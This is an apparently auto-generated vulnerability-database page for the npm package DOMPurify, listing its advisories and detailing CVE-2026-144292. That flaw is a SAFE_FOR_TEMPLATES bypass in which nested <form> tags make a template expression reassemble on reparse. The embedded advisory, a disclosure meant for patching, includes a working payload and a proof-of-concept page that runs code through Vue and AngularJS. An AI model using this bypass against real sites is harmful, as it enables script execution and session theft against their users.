Vulnerabilities in pkg:npm/dompurify
PACKAGECVE-2026-144292 is a HIGH nested <form> makes a template vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting DOMPurify SAFE_FOR_TEMPLATES bypass libraries in the npm ecosystem. The issue involves nested <form> makes a template expression reassemble when sanitized output is reparsed. Remediation is available by upgrading affected packages to version 3.5.0.
pkg:npm/dompurify
Vulnerability advisories affecting package pkg:npm/dompurify. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-hrxw-jjj6-2g2j | CVE-2026-144292 | HIGH | DOMPurify SAFE_FOR_TEMPLATES bypass: nested <form> makes a template expression reassemble when sanitized output is reparsed |
| GHSA-qm7q-q8h9-jg8q | CVE-2026-140391 | MODERATE | DOMPurify: SAFE_FOR_TEMPLATES bypass: template expressions reassemble when sanitized output is reparsed (nested <form> and orphaned end tags) |
| GHSA-94h2-9755-qfgp | - | MODERATE | Duplicate Advisory: SAFE_FOR_TEMPLATES bypass: template expressions reassemble when sanitized output is reparsed (nested <form> and orphaned end tags) |
| GHSA-mmhx-hmjr-r674 | CVE-2024-45801 | HIGH | DOMPurify allows tampering by prototype pollution |
| GHSA-mrv2-3pqr-j5jr | - | LOW | DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p) |
| GHSA-cg2g-xh64-v4q7 | - | LOW | DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes |
| GHSA-6688-9rhm-gjv2 | - | LOW | DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes |
| GHSA-c2j3-45gr-mqc4 | CVE-2026-66010 | LOW | DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements. |
| GHSA-jxrp-r7gx-q4j8 | - | MODERATE | Duplicate Advisory: DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements. |
| GHSA-p98j-92pf-mc4p | - | LOW | DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS |
| GHSA-55q2-fjhq-7xh7 | - | MODERATE | DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS |
| GHSA-h8r8-wccr-v5f2 | CVE-2026-65914 | MODERATE | DOMPurify is vulnerable to mutation-XSS via Re-Contextualization |
| GHSA-cj63-jhhr-wcxv | CVE-2026-65913 | MODERATE | DOMPurify USE_PROFILES prototype pollution allows event handlers |
| GHSA-cjmm-f4jc-qw8r | CVE-2026-65912 | MODERATE | DOMPurify ADD_ATTR predicate skips URI validation |
| GHSA-39q2-94rc-95cp | CVE-2026-65903 | MODERATE | DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation |
| GHSA-76mc-f452-cxcm | CVE-2026-65902 | MODERATE | DOMPurify: Hook mutation of `data.allowedTags` / `data.allowedAttributes` permanently pollutes `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR` |
| GHSA-x4vx-rjvf-j5p4 | CVE-2026-65901 | LOW | DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects |
| GHSA-gvmj-g25r-r7wr | CVE-2026-65900 | LOW | DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes |
| GHSA-vxr8-fq34-vvx9 | CVE-2026-65899 | LOW | DOMPurify: Trusted Types policy survives `clearConfig()` and can poison later `RETURN_TRUSTED_TYPE` output |
| GHSA-cmwh-pvxp-8882 | CVE-2026-65898 | MODERATE | DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch) |
| GHSA-rp9w-3fw7-7cwq | CVE-2026-49978 | MODERATE | DOMPurify IN_PLACE Sanitization Bypass via Attached Shadow Root Inside <template>.content |
| GHSA-hpcv-96wg-7vj8 | CVE-2026-49458 | MODERATE | DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks |
| GHSA-r47g-fvhr-h676 | CVE-2026-49459 | MODERATE | DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM |
| GHSA-87xg-pxx2-7hvx | CVE-2026-47423 | HIGH | DOMPurify XSS via selectedcontent re-clone |
| GHSA-h7mw-gpvr-xq4m | CVE-2026-41240 | MODERATE | DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix) |
| GHSA-crv5-9vww-q3g8 | CVE-2026-41239 | MODERATE | DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode |
| GHSA-v9jr-rg53-9pgp | CVE-2026-41238 | MODERATE | DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback |
| GHSA-v2wj-7wpq-c8vv | CVE-2026-0540 | MODERATE | DOMPurify contains a Cross-site Scripting vulnerability |
| GHSA-v8jm-5vwx-cfxm | CVE-2025-15599 | MODERATE | DOMPurify contains a Cross-site Scripting vulnerability |
| GHSA-gx9m-whjm-85jf | CVE-2024-47875 | HIGH | DOMpurify has a nesting-based mXSS |
| GHSA-p3vf-v8qc-cwcr | CVE-2024-48910 | CRITICAL | DOMPurify vulnerable to tampering by prototype polution |
| GHSA-vhxf-7vqr-mrjg | CVE-2025-26791 | MODERATE | DOMPurify allows Cross-site Scripting (XSS) |
| GHSA-8hgg-xxm5-3873 | CVE-2019-25155 | MODERATE | DOMPurify Open Redirect vulnerability |
| GHSA-chqj-j4fh-rw7m | CVE-2019-16728 | MODERATE | Cross-Site Scripting in dompurify |
| GHSA-63q7-h895-m982 | CVE-2020-26870 | MODERATE | Cross-site Scripting in dompurify |
| GHSA-mjjq-c88q-qhr6 | - | CRITICAL | Cross-Site Scripting in dompurify |
CVE-2026-144292 at a Glance
How to Fix CVE-2026-144292
To remediate this vulnerability, upgrade all affected DOMPurify SAFE_FOR_TEMPLATES bypass dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install dompurify@3.5.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls dompurify
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-144292, inspect your project dependencies using npm:
npm ls dompurify
Analyze the terminal output to locate any version of DOMPurify SAFE_FOR_TEMPLATES bypass in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.5.0), your application is affected.
Note: The npm ls dompurify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In DOMPurify SAFE_FOR_TEMPLATES bypass, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-144292 Affected DOMPurify SAFE_FOR_TEMPLATES bypass Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dompurify
|
npm |
< 3.5.0
|
3.5.0
|
References
Frequently Asked Questions
What is CVE-2026-144292?
Which DOMPurify SAFE_FOR_TEMPLATES bypass versions are affected?
What version fixes CVE-2026-144292?
Is dompurify affected?
What CWE is associated with CVE-2026-144292?
How can I check npm dependencies for CVE-2026-144292?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hrxw-jjj6-2g2j",
"modified" : "2026-12-03T23:56:52Z",
"published" : "2026-12-03T23:56:52Z",
"aliases" : [ "CVE-2026-144292" ],
"summary" : "DOMPurify SAFE_FOR_TEMPLATES bypass: nested <form> makes a template expression reassemble when sanitized output is reparsed",
"details" : "### Summary\n\nWith `SAFE_FOR_TEMPLATES: true`, DOMPurify 3.4.18 returns a string that contains no `{{` or `}}`, yet becomes a live `{{…}}` expression as soon as it is assigned to `innerHTML`. A template engine that compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.\n\nThe attacker controls only the markup passed to `sanitize()`. The only configuration required is `SAFE_FOR_TEMPLATES: true`, which is a protective option used for its documented purpose.\n\nReproduced on DOMPurify 3.4.18 (npm `latest`) in Chromium 156, Firefox 157 and WebKit 27.2. The plain `{{…}}` case is still scrubbed correctly, so this is a gap in the existing protection.\n\n### Details\n\nSAFE_FOR_TEMPLATES is enforced in two places in `src/purify.ts`, and neither accounts for how the returned string is parsed a second time by the consumer.\n\n1. Per text node, during the walk (around line 2122):\n\n ```ts\n /* Sanitize element content to be template-safe */\n if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {\n const content = _stripTemplateExpressions(currentNode.textContent);\n ...\n ```\n\n2. After serialization, a tree scrub that only runs when the serialized output contains a marker (around line 2872):\n\n ```ts\n if (\n SAFE_FOR_TEMPLATES &&\n regExpTest(EXPRESSIONS.TMPL_MARKER_SERIALIZED, serializedHTML)\n ) {\n _scrubOwnCharacterData(body);\n serializedHTML = WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML;\n }\n ```\n\n with `TMPL_MARKER_SERIALIZED = /{{|}}|\\${|<%|%>|<%|%>/` in `src/regexp.ts`.\n\nInput:\n\n```html\n<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}\n```\n\nStep 1, first parse (inside DOMPurify). `</form>` clears the parser's form element pointer while the `<div>` is still open, so the second `<form>` is accepted as a child of the `<div>`. The tree has three separate text nodes, `{`, `{…}` and `}`, with an element between them. No single text node contains `{{` or `}}`, so the per-node scrub does nothing.\n\nStep 2, serialization:\n\n```html\n<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>\n```\n\nThe string contains no `{{` or `}}` (a `<form>` tag sits between the braces), so `TMPL_MARKER_SERIALIZED` does not match and the post-serialization scrub is skipped. Even if it ran, it works on the same tree, where the fragments are separate text nodes.\n\nStep 3, second parse (in the consumer). When this string is assigned to `innerHTML`, the HTML parser ignores the inner `<form>` start tag because a form is already open. The three fragments become adjacent and merge into one text node:\n\n```\n{{constructor.constructor('alert(1)')()}}\n```\n\nRoot cause: the guarantee is checked on DOMPurify's own tree and on the serialized string, but the output is not stable under a second parse. A nested `<form>` is a case where serialize-then-parse changes which text nodes are adjacent.\n\nSuggested direction:\n\n- After serialization, parse the output once more and run the text-node scrub on that tree, repeating until stable; or\n- under SAFE_FOR_TEMPLATES, remove a `<form>` nested inside another `<form>`, since it cannot survive a reparse; or\n- treat a lone `{` / `}` at a text-node boundary as unsafe when the neighbouring text across an element boundary starts or ends with a brace.\n\nA regression test for this shape would be worth adding; the current suite has none.\n\n### Proof of concept\n\nTested with DOMPurify 3.4.18 (npm `latest`), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.\n\nConfiguration: `{ SAFE_FOR_TEMPLATES: true }`, nothing else.\n\nMinimal check:\n\n```js\nconst clean = DOMPurify.sanitize(\n \"<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}\",\n { SAFE_FOR_TEMPLATES: true }\n);\n// clean === \"<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>\"\n\nconst div = document.createElement('div');\ndiv.innerHTML = clean;\n// div.textContent === \"{{constructor.constructor('alert(1)')()}}\" (single text node)\n```\n\nEnd-to-end: save as `poc.html` and open it in a browser.\n\n```html\n<!doctype html>\n<meta charset=\"utf-8\">\n<script src=\"https://unpkg.com/dompurify@3.4.18/dist/purify.js\"></script>\n<script src=\"https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js\"></script>\n<script src=\"https://unpkg.com/angular@1.8.3/angular.min.js\"></script>\n<div id=\"vue-host\"><div class=\"comment\"></div></div>\n<div id=\"ng-host\"><div class=\"comment\"></div></div>\n<pre id=\"log\"></pre>\n<script>\n const log = (m) => (document.getElementById('log').textContent += m + '\\n');\n window.xss = (tag) => log('EXECUTED: ' + tag);\n const cfg = { SAFE_FOR_TEMPLATES: true };\n const wrap = (expr) => `<form><div>{</form><form>{${expr}}</form>}`;\n log('DOMPurify ' + DOMPurify.version);\n\n // Vue 3 (in-DOM template)\n const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss(\"vue\")')()`), cfg);\n log('vue clean: ' + cleanVue);\n document.querySelector('#vue-host .comment').innerHTML = cleanVue;\n Vue.createApp({}).mount('#vue-host');\n\n // AngularJS 1.8.3\n const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss(\"ng\")')()`), cfg);\n log('ng clean : ' + cleanNg);\n document.querySelector('#ng-host .comment').innerHTML = cleanNg;\n angular.bootstrap(document.getElementById('ng-host'), []);\n</script>\n```\n\nExpected: the sanitized strings contain no live expression and nothing executes.\n\nActual, identical in all three browsers:\n\n```\nDOMPurify 3.4.18\nvue clean: <form><div>{<form>{$emit.constructor('xss(\"vue\")')()}</form>}</div></form>\nEXECUTED: vue\nng clean : <form><div>{<form>{constructor.constructor('xss(\"ng\")')()}</form>}</div></form>\nEXECUTED: ng\n```\n\nControl, same config: `<p>{{constructor.constructor('alert(1)')()}}</p>` returns `<p> </p>`.\n\nServer-side: with DOMPurify 3.4.18 on jsdom 27.0.1, the payload returns the same string, and parsing that string yields a single text node `{{constructor.constructor('alert(1)')()}}`.\n\n### Impact\n\nCross-site scripting through client-side template.\n\nAn attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the page's origin for every user who views it: session theft, actions on behalf of the victim, and content manipulation.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "dompurify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.5.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-hrxw-jjj6-2g2j"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-144292"
}, {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/pull/1744"
}, {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/commit/d05b24333a25f6f2e949493749523563f15230e2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/cure53/DOMPurify"
}, {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/releases/tag/3.5.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336", "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-03T23:56:52Z",
"nvd_published_at" : "2026-12-03T18:17:26Z"
}
}